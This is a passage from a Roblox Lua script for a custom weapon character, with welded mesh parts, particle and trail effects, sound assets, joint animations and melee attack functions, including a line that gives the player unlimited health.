3034 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3035 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996)) | |
3036 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
3037 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3038 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963)) | |
3039 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
3040 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
3041 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039)) | |
3042 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
3043 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
3044 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039)) | |
3045 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3046 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752)) | |
3047 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3048 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3049 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3050 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702)) | |
3051 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3052 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537)) | |
3053 | ||
3054 | p = game.Players.LocalPlayer | |
3055 | char = p.Character | |
3056 | torso = char.Torso | |
3057 | neck = char.Torso.Neck | |
3058 | hum = char.Humanoid | |
3059 | hum.MaxHealth = math.huge + 99999999 | |
3060 | wait() | |
3061 | hum.Health =hum.MaxHealth | |
3062 | ||
3063 | local particleemitter = Instance.new("ParticleEmitter", Handle) | |
3064 | particleemitter.VelocitySpread = 180 | |
3065 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3066 | particleemitter.Speed = NumberRange.new(2) | |
3067 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
3068 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3069 | particleemitter.Rate = 100 | |
3070 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3071 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3072 | particleemitter.LightEmission = 0.8 | |
3073 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3074 | ||
3075 | local particleemitter = Instance.new("ParticleEmitter", Handle2) | |
3076 | particleemitter.VelocitySpread = 180 | |
3077 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3078 | particleemitter.Speed = NumberRange.new(2) | |
3079 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
3080 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3081 | particleemitter.Rate = 100 | |
3082 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3083 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3084 | particleemitter.LightEmission = 0.8 | |
3085 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3086 | ||
3087 | local particleemitter = Instance.new("ParticleEmitter", handle) | |
3088 | particleemitter.VelocitySpread = 180 | |
3089 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3090 | particleemitter.Speed = NumberRange.new(2) | |
3091 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)}) | |
3092 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3093 | particleemitter.Rate = 100 | |
3094 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3095 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3096 | particleemitter.LightEmission = 0.8 | |
3097 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3098 | ||
3099 | particleemitter.Enabled = true | |
3100 | MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025) | |
3101 | MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025) | |
3102 | so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475) | |
3103 | so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75) | |
3104 | for i=0,1,0.005 do | |
3105 | swait() | |
3106 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1) | |
3107 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1) | |
3108 | handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1) | |
3109 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1) | |
3110 | Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1) | |
3111 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3112 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3113 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3114 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3115 | end | |
3116 | for i=0,1,0.04 do | |
3117 | swait() | |
3118 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3119 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3120 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3121 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3122 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3123 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3124 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3125 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3126 | end | |
3127 | attack = false | |
3128 | end | |
3129 | end | |
3130 | end | |
3131 | end) | |
3132 | ||
3133 | function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
3134 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
3135 | prt.Anchored=true | |
3136 | prt.CFrame=cframe | |
3137 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
3138 | game:GetService("Debris"):AddItem(prt,2) | |
3139 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
3140 | for i=0,1,delay do | |
3141 | wait() | |
3142 | Part.CFrame=Part.CFrame | |
3143 | Part.Transparency=i | |
3144 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
3145 | end | |
3146 | Part.Parent=nil | |
3147 | end),prt,msh) | |
3148 | end | |
3149 | ||
3150 | TrailDeb = false | |
3151 | ||
3152 | function equipanim() | |
3153 | attack=true | |
3154 | Humanoid.WalkSpeed = 0 | |
3155 | if TrailDeb == false then | |
3156 | TrailDeb = true | |
3157 | end | |
3158 | ||
3159 | ||
3160 | coroutine.wrap(function() | |
3161 | local Old = handle.CFrame.p | |
3162 | while wait()do | |
3163 | if not TrailDeb then break end | |
3164 | local New = handle.CFrame.p | |
3165 | local Mag =(Old -New).magnitude | |
3166 | local Dis =(Old +New)/2 | |
3167 | local Trail = Instance.new("Part",Character) | |
3168 | Trail.Material = "Neon" | |
3169 | Trail.Anchored = true | |
3170 | Trail.CanCollide = false | |
3171 | Trail.BrickColor = TorsoColor | |
3172 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3173 | Trail.TopSurface = 0 | |
3174 | Trail.BottomSurface = 0 | |
3175 | Trail.formFactor = "Custom" | |
3176 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3177 | local ms = Instance.new("BlockMesh",Trail) | |
3178 | ms.Scale = Vector3.new(1,1,1) | |
3179 | local TM = Instance.new("CylinderMesh",Trail) | |
3180 | TM.Scale = Vector3.new(1,1,1) | |
3181 | Old = New | |
3182 | coroutine.wrap(function() | |
3183 | for i = 1,0,-0.1 do | |
3184 | wait() | |
3185 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3186 | end | |
3187 | Trail:remove() | |
3188 | end)() | |
3189 | coroutine.wrap(function() | |
3190 | for i = 1,10 do | |
3191 | wait() | |
3192 | Trail.Transparency = Trail.Transparency +0.1 | |
3193 | end end)()end end)() | |
3194 | coroutine.wrap(function() | |
3195 | local Old = Handle.CFrame.p | |
3196 | while wait()do | |
3197 | if not TrailDeb then break end | |
3198 | local New = Handle.CFrame.p | |
3199 | local Mag =(Old -New).magnitude | |
3200 | local Dis =(Old +New)/2 | |
3201 | local Trail = Instance.new("Part",Character) | |
3202 | Trail.Material = "Neon" | |
3203 | Trail.Anchored = true | |
3204 | Trail.CanCollide = false | |
3205 | Trail.BrickColor = TorsoColor | |
3206 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3207 | Trail.TopSurface = 0 | |
3208 | Trail.BottomSurface = 0 | |
3209 | Trail.formFactor = "Custom" | |
3210 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3211 | local ms = Instance.new("BlockMesh",Trail) | |
3212 | ms.Scale = Vector3.new(1,1,1) | |
3213 | local TM = Instance.new("CylinderMesh",Trail) | |
3214 | TM.Scale = Vector3.new(1,1,1) | |
3215 | Old = New | |
3216 | coroutine.wrap(function() | |
3217 | for i = 1,0,-0.1 do | |
3218 | wait() | |
3219 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3220 | end | |
3221 | Trail:remove() | |
3222 | end)() | |
3223 | coroutine.wrap(function() | |
3224 | for i = 1,10 do | |
3225 | wait() | |
3226 | Trail.Transparency = Trail.Transparency +0.1 | |
3227 | end end)()end end)() | |
3228 | coroutine.wrap(function() | |
3229 | local Old = Handle2.CFrame.p | |
3230 | while wait()do | |
3231 | if not TrailDeb then break end | |
3232 | local New = Handle2.CFrame.p | |
3233 | local Mag =(Old -New).magnitude | |
3234 | local Dis =(Old +New)/2 | |
3235 | local Trail = Instance.new("Part",Character) | |
3236 | Trail.Material = "Neon" | |
3237 | Trail.Anchored = true | |
3238 | Trail.CanCollide = false | |
3239 | Trail.BrickColor = TorsoColor | |
3240 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3241 | Trail.TopSurface = 0 | |
3242 | Trail.BottomSurface = 0 | |
3243 | Trail.formFactor = "Custom" | |
3244 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3245 | local ms = Instance.new("BlockMesh",Trail) | |
3246 | ms.Scale = Vector3.new(1,1,1) | |
3247 | local TM = Instance.new("CylinderMesh",Trail) | |
3248 | TM.Scale = Vector3.new(1,1,1) | |
3249 | Old = New | |
3250 | coroutine.wrap(function() | |
3251 | for i = 1,0,-0.1 do | |
3252 | wait() | |
3253 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3254 | end | |
3255 | Trail:remove() | |
3256 | end)() | |
3257 | coroutine.wrap(function() | |
3258 | for i = 1,10 do | |
3259 | wait() | |
3260 | Trail.Transparency = Trail.Transparency +0.1 | |
3261 | end end)()end end)() | |
3262 | so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5) | |
3263 | for i=0,1,0.005 do | |
3264 | swait() | |
3265 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2) | |
3266 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2) | |
3267 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3268 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3269 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3270 | LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2) | |
3271 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2) | |
3272 | end | |
3273 | for i=0,1,0.005 do | |
3274 | swait() | |
3275 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2) | |
3276 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2) | |
3277 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3278 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3279 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3280 | LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2) | |
3281 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2) | |
3282 | end | |
3283 | so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9) | |
3284 | so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9) | |
3285 | for i=0,1,0.005 do | |
3286 | swait() | |
3287 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1) | |
3288 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1) | |
3289 | handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1) | |
3290 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1) | |
3291 | Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1) | |
3292 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3293 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3294 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3295 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3296 | end | |
3297 | for i=0,1,0.04 do | |
3298 | swait() | |
3299 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3300 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3301 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3302 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3303 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3304 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3305 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3306 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3307 | end | |
3308 | --dmgstop() | |
3309 | attack=false | |
3310 | Humanoid.WalkSpeed = 12 | |
3311 | if TrailDeb == true then | |
3312 | TrailDeb = false | |
3313 | end | |
3314 | end | |
3315 | ||
3316 | function attackone() | |
3317 | attack=true | |
3318 | if TrailDeb == false then | |
3319 | TrailDeb = true | |
3320 | end | |
3321 | ||
3322 | ||
3323 | coroutine.wrap(function() | |
3324 | local Old = Handle.CFrame.p | |
3325 | while wait()do | |
3326 | if not TrailDeb then break end | |
3327 | local New = Handle.CFrame.p | |
3328 | local Mag =(Old -New).magnitude | |
3329 | local Dis =(Old +New)/2 | |
3330 | local Trail = Instance.new("Part",Character) | |
3331 | Trail.Material = "Neon" | |
3332 | Trail.Anchored = true | |
3333 | Trail.CanCollide = false | |
3334 | Trail.BrickColor = TorsoColor | |
3335 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3336 | Trail.TopSurface = 0 | |
3337 | Trail.BottomSurface = 0 | |
3338 | Trail.formFactor = "Custom" | |
3339 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3340 | local ms = Instance.new("BlockMesh",Trail) | |
3341 | ms.Scale = Vector3.new(1,1,1) | |
3342 | local TM = Instance.new("CylinderMesh",Trail) | |
3343 | TM.Scale = Vector3.new(1,1,1) | |
3344 | Old = New | |
3345 | coroutine.wrap(function() | |
3346 | for i = 1,0,-0.1 do | |
3347 | wait() | |
3348 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3349 | end | |
3350 | Trail:remove() | |
3351 | end)() | |
3352 | coroutine.wrap(function() | |
3353 | for i = 1,10 do | |
3354 | wait() | |
3355 | Trail.Transparency = Trail.Transparency +0.1 | |
3356 | end end)()end end)() | |
3357 | con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3358 | for i=0,1,0.08 do | |
3359 | swait() | |
3360 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3) | |
3361 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3) | |
3362 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3363 | Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
3364 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3365 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3) | |
3366 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3367 | end | |
3368 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9) | |
3369 | so("http://www.roblox.com/asset/?id=159972643",Torso,1,1) | |
3370 | for i=0,1,0.1 do | |
3371 | swait() | |
3372 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3) | |
3373 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3374 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3375 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2) | |
3376 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3377 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3) | |
3378 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3379 | end | |
3380 | --dmgstop() | |
3381 | attack=false | |
3382 | con1:disconnect() | |
3383 | if TrailDeb == true then | |
3384 | TrailDeb = false | |
3385 | end | |
3386 | end | |
3387 | ||
3388 | function attacktwo() | |
3389 | attack=true | |
3390 | if TrailDeb == false then | |
3391 | TrailDeb = true | |
3392 | end | |
3393 | ||
3394 | ||
3395 | coroutine.wrap(function() | |
3396 | local Old = Handle2.CFrame.p | |
3397 | while wait()do | |
3398 | if not TrailDeb then break end | |
3399 | local New = Handle2.CFrame.p | |
3400 | local Mag =(Old -New).magnitude | |
3401 | local Dis =(Old +New)/2 | |
3402 | local Trail = Instance.new("Part",Character) | |
3403 | Trail.Material = "Neon" | |
3404 | Trail.Anchored = true | |
3405 | Trail.CanCollide = false | |
3406 | Trail.BrickColor = TorsoColor | |
3407 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3408 | Trail.TopSurface = 0 | |
3409 | Trail.BottomSurface = 0 | |
3410 | Trail.formFactor = "Custom" | |
3411 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3412 | local ms = Instance.new("BlockMesh",Trail) | |
3413 | ms.Scale = Vector3.new(1,1,1) | |
3414 | local TM = Instance.new("CylinderMesh",Trail) | |
3415 | TM.Scale = Vector3.new(1,1,1) | |
3416 | Old = New | |
3417 | coroutine.wrap(function() | |
3418 | for i = 1,0,-0.1 do | |
3419 | wait() | |
3420 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3421 | end | |
3422 | Trail:remove() | |
3423 | end)() | |
3424 | coroutine.wrap(function() | |
3425 | for i = 1,10 do | |
3426 | wait() | |
3427 | Trail.Transparency = Trail.Transparency +0.1 | |
3428 | end end)()end end)() | |
3429 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3430 | for i=0,1,0.08 do | |
3431 | swait() | |
3432 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3) | |
3433 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3434 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3435 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2) | |
3436 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3437 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3) | |
3438 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3) | |
3439 | end | |
3440 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
3441 | so("http://www.roblox.com/asset/?id=159972627",Torso,1,1) | |
3442 | for i=0,1,0.1 do | |
3443 | swait() | |
3444 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3445 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3) | |
3446 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3447 | Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2) | |
3448 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3449 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
3450 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3) | |
3451 | end | |
3452 | --dmgstop() | |
3453 | attack=false | |
3454 | con1:disconnect() | |
3455 | if TrailDeb == true then | |
3456 | TrailDeb = false | |
3457 | end | |
3458 | end | |
3459 | ||
3460 | function attackthree() | |
3461 | attack=true | |
3462 | if TrailDeb == false then | |
3463 | TrailDeb = true | |
3464 | end | |
3465 | ||
3466 | ||
3467 | coroutine.wrap(function() | |
3468 | local Old = Handle.CFrame.p | |
3469 | while wait()do | |
3470 | if not TrailDeb then break end | |
3471 | local New = Handle.CFrame.p | |
3472 | local Mag =(Old -New).magnitude | |
3473 | local Dis =(Old +New)/2 | |
3474 | local Trail = Instance.new("Part",Character) | |
3475 | Trail.Material = "Neon" | |
3476 | Trail.Anchored = true | |
3477 | Trail.CanCollide = false | |
3478 | Trail.BrickColor = TorsoColor | |
3479 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3480 | Trail.TopSurface = 0 | |
3481 | Trail.BottomSurface = 0 | |
3482 | Trail.formFactor = "Custom" | |
3483 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3484 | local ms = Instance.new("BlockMesh",Trail) | |
3485 | ms.Scale = Vector3.new(1,1,1) | |
3486 | local TM = Instance.new("CylinderMesh",Trail) | |
3487 | TM.Scale = Vector3.new(1,1,1) | |
3488 | Old = New | |
3489 | coroutine.wrap(function() | |
3490 | for i = 1,0,-0.1 do | |
3491 | wait() | |
3492 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3493 | end | |
3494 | Trail:remove() | |
